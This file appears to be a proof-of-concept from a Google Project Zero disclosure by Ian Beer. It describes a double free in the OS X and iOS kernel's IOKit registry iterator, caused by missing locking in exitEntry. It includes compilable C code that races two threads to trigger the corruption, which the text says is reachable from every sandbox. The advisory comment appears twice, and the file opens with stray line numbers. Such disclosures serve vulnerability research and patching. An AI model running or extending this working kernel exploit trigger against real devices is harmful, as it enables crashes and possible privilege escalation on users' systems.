1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 |
/* Source: https://code.google.com/p/google-security-research/issues/detail?id=598 The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function: kern_return_t is_io_registry_iterator_exit_entry( io_object_t iterator ) { booldidIt; CHECK( IORegistryIterator, iterator, iter ); didIt = iter->exitEntry(); return( didIt ? kIOReturnSuccess : kIOReturnNoDevice ); } exitExtry is defined as follows: bool IORegistryIterator::exitEntry( void ) { IORegCursor * gone; if( where->iter) { where->iter->release(); where->iter = 0; if( where->current)// && (where != &start)) where->current->release(); } if( where != &start) { gone = where; where = gone->next; IOFree( gone, sizeof(IORegCursor)); return( true); } else return( false); } There are multiple concurrency hazards here; for example a double free of where if two threads enter at the same time. These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes on OS X and iOS. Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2 Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro repro: while true; do ./ioparallel_regiter; done */ // ianbeer // clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit /* OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function: kern_return_t is_io_registry_iterator_exit_entry( io_object_t iterator ) { booldidIt; CHECK( IORegistryIterator, iterator, iter ); didIt = iter->exitEntry(); return( didIt ? kIOReturnSuccess : kIOReturnNoDevice ); } exitExtry is defined as follows: bool IORegistryIterator::exitEntry( void ) { IORegCursor * gone; if( where->iter) { where->iter->release(); where->iter = 0; if( where->current)// && (where != &start)) where->current->release(); } if( where != &start) { gone = where; where = gone->next; IOFree( gone, sizeof(IORegCursor)); return( true); } else return( false); } There are multiple concurrency hazards here; for example a double free of where if two threads enter at the same time. These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes on OS X and iOS. Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2 Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro repro: while true; do ./ioparallel_regiter; done */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> int start = 0; void exit_it(io_iterator_t iter) { IORegistryIteratorExitEntry(iter); } void go(void* arg){ while(start == 0){;} usleep(1); exit_it(*(io_iterator_t*)arg); } int main(int argc, char** argv) { kern_return_t err; io_iterator_t iter; err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter); if (err != KERN_SUCCESS) { printf("can't create reg iterator\n"); return 0; } IORegistryIteratorEnterEntry(iter); pthread_t t; io_connect_t arg = iter; pthread_create(&t, NULL, (void*) go, (void*) &arg); usleep(100000); start = 1; exit_it(iter); pthread_join(t, NULL); return 0; } |